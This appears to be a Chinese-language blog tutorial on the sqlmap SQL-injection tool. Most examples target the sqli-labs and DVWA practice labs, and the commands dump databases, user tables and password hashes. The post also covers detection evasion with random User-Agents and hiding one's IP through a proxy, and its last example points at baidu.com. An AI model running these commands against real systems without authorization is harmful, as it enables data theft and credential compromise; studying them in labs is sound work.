sqlmap使用

sqlmap使用,简介请见官网sqlmap.org

sqlmap的经典操作

参数 作用
-u 指定url
-l/-r 读取文件内容进行注入,例如burpsuite保存的数据包头
--batch 默认会问我们有很多问题,让slqmap自动选择
--forms 自动查找表单
--level 注入登记 1~5
--risk 危险级别 1~3
--dbs 查看数据库
--tables 查看表
--columns 查看字段
--dump 列出字段内容
-D 指定数据库
-T 指定表
-C 指定字段
--prefix 指定闭合方式
--dbms 指定数据库类型
--current-user 查看当前用户
--current-db 查看当前数据库

看了看,感觉很多参数,是不是很烦,其实很简单
简单的操作,这里我们对sql-labs的第一关进行测试
sqlmap -u "http://172.16.1.101/sqli-labs/Less-1/index.php?id=1" --batch --dbs

在爆破成功是,slqmap会给出指定的payload

Payload: id=1' AND (SELECT 9683 FROM(SELECT COUNT(*),CONCAT(0x71786b6271,(SELECT (ELT(9683=9683,1))),0x716a786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'BGMb'='BGMb



可以看到爆出我们有7个数据库和名称
就下查看dvwa数据库的中表的内容
sqlmap -u "http://172.16.1.101/sqli-labs/Less-1/index.php?id=1" --batch -D dvwa --tables


拥有guestbookusers
继续查看users表中字段的内容
sqlmap -u "http://172.16.1.101/sqli-labs/Less-1/index.php?id=1" --batch -D dvwa -T users --column


拥有这8个字段,有一看就知道用户名和密码userpassword字段中
将该字段的数据爆出
sqlmap -u "http://172.16.1.101/sqli-labs/Less-1/index.php?id=1" --batch -D dvwa -T users -C user,password --dump


可以看到sqlmap非常的人性化,会将简单的md5加密进行破解
当我们普通破解不成功的时候,可以试一试--level或者--risk
后续都是一些扩展的操作

直连数据库

原理:直接使用SQLmap连接数据库执行查询语句
payload:sqlmap -d "mysql://用户名:密码@连接IP地址:数据库端口/连接的数据库 -f --banner --dbs --users
sqlmap -d "mysql://root:root@127.0.0.1:3306/mysql" -f --banner --dbs --user
***-d 直连数据库 -f 连接后执行的命令 ***
--banner 查看数据库版本 --dbs 所有的数据库名 --users 所有的用户

连接成功,这里我使用IP地址连接失败了,使用的是127.0.0.1本地回环地址

报错了,刚开始让我安装模块,安装过后就出现了这样错误,我也是个小白,不是很懂
执行完我们的语句后会关闭数据库连接

对URL进行探测

使用-u参数,url格式:http(s)://target-url[:port]/[...]
例如:https://www.target.com:80/vuln.php?id=1
这里我们对sqli-labs靶场进行测试
测试:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=1" --banner

这里使用的是 --banner 参数,获取出中间件,PHP版本,MySQL版本等信息,还是挺厉害的。

从文件中读取目标,对多个URL进行探测

有时我们的目标不止一个,-u 参数已经无法满足我们
sqlmap支持从不同文件类型的文件中读取目标进行sql注入探测

-l 从Burpsuite proxy代理软件中读取Http请求日志文件
-x 从sitemap.xml站点地图文件中读取目标探测
-m 从多行文本格式文件读取多个目标,对多个目标进行探测
-r 从文本中读取HTTP请求作为SQL注入探测目标
-c 从配置文件 sqlmap.conf 中读取目标猜测
-g 配合谷歌语法进行探测(intitle,intext,filetype,site,inurl)

-l 从Burpsuite proxy中的文件头信息进行注入探测

在burpsuite抓包页面中,右键

保存到sqlmap.py的根目录下,这里我保存文件名为 log
命令:python sqlmap.py -l log

PUT请求方法,--method

SQLmap会自动检测适合的HTTP请求方法,但是有些情况下,需要强制使用具体的HTTP请求方法,所以我们要强制指定请求方法--method=PUT
例如:python sqlmap.py -u "http://172.16.1.222/sqli-labs-master/Less-11/index.php" --method=PUT

POST传参,--data

默认情况下,HTTP请求使用的是GET,有时我们的SQL注入时POST型的,所以我们需要使用--data参数来进行POST传参
格式:--data="id=1&username=root&password=root"
这里我们举例sqli-labs-Less11关卡,模拟POST注入
payload:python sqlmap.py -u "http://172.16.1.222/sqli-labs-master/Less-11/index.php" --data="uname=admin&passwd=admin&submit=Submit" --batch
--batch 是自动选择的意思

并没有报错,代表存在这个注入点。

设置分隔符,--param-del

我们可以进行指定分隔符,例如GET和POST请求中的默认分隔符为&和,可以使用--param-del=';',这里;就与&是一个意思
例如:python sqlmap.py -u "http://172.16.1.222/sqli-labs-master/Less-11/index.php" --data="uname=admin;passwd=admin;submit=Submit" --param-del=';' --batch --dbs

执行成功

使用场景:Web应用程序具有基于cookie验证,基于cookie注入漏洞。
如何在SQLmap中使用cookie:
1. 打开审计工具或代理截断,复制cookie。
2. 使用 --cookie 粘贴cookie

例如浏览器,F12,找到Network(网络),刷新,点击一个数据包,查看文件头,里面就有cookie信息

或者burpsuite抓包也可以获取的到

设置 User-Agent 代理头信息

在默认情况下,sqlmap使用的HTTP用户代理头值为:sqlmap/2.1-dev-xxxxxxx(http://sqlmap.org),一些网站会对User-Agent进行检测,认证
我们可以自定义 User-Agnet,使用 --user-agnet进行执行 user-Agent 进行注入

通过Wireshark抓包可以看到,默认的User-Agent很容易被检测出来
根据上述讲的cookie类似,User-Agent可以通过burpsuite获取

测试:
sqlmap -u "http://172.16.1.104/sqli-labs-master/Less-1/index.php?id=1" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0"

通过Wireshark,可以看到User-Agent已经被我们修改
有时为了绕过检测,需要我们不停的更换 User-Agent,sqlmap为我们提供了一个user-agent的字典,可以使用--random-agent来调用字典中随机的一个user-agent
测试:
sqlmap -u "http://172.16.1.104/sqli-labs-master/Less-1/index.php?id=1" --random-agent

这次的值我们并没有指定,是从/sqlmap/txt/user-agent.txt中随机读取出来的。

设置HTTP协议认证

--auth-type和--auth-cred
其中--auth-type支持 Basic、Digest、NTLM,--auth-cred时认证时的用户名和密码
例如:slqmap -u "http://172.16.1.111/sqli-labs-master/Less-1/?id=1" --auth-type Basic --auth-cred root:toor
那么什么是HTTP协议认证呢,经常出现在中间件服务器中设置,例如apache、Nginx、IIS等中出现,类似如图:

在对这样的案例进行SQL注入时,必须进行认证,否者slqmap无法注入

设置HTTP标头

在一些情况中,默写服务器会检测HTTP标头中的信息,例如通过HOST获取IP,来判断认证是否访问该网页,有些进行的是User-Agent认证。
可以使用--header进行多个标头进行修改,每个标头之间用\n隔开
测试:sqlmap -u "http://172.16.1.111/sqli-labs-master/Less-1/index.php?id=1" --headers="Host:www.google.cn\nUser-Agent:FFFFF团"
并使用wireshark进行抓包

可以看到HTTP标头已经被我们修改,当然也可以修改sqlmap.conf(在windows中这个文件在根目录下,在kali自动安装的配置文件在/etc/sqlmap/sqlmap.conf)修改如下图:

只需要修改hearders=后面的值即可,一行一个标头

设置代理服务器

特殊情况下,我们为了隐藏自己的IP地址,或者我们的IP地址被网站拉进黑名单,或者只有特定的IP地址才可以访问的网站之类的,我们可以使用代理服务器进行访问。
参数:--proxy、--proxy-cred、--proxy-file、--ignore-proxy
--proxy是指定代理服务器,例如:--proxy "http://IP:PORT"
--proxy-cred有的代理服务器是需要用户名和密码的,这个参数进行指定
--proxy-file逐行读取文件内容作为代理服务器,如果第一行不行,切换下一行代理服务器
--ignore-proxy系统有时候会设置HTTP或者HTTPS代理服务器,忽略系统代理使用这个参数
例如:sqlmap -u "http://www.baidu.com/index.php?id=1" --proxy "http://218.75.69.50:57903" --banner

posted @ 2022-02-24 14:41  Junglezt  阅读(468)  评论(0编辑  收藏  举报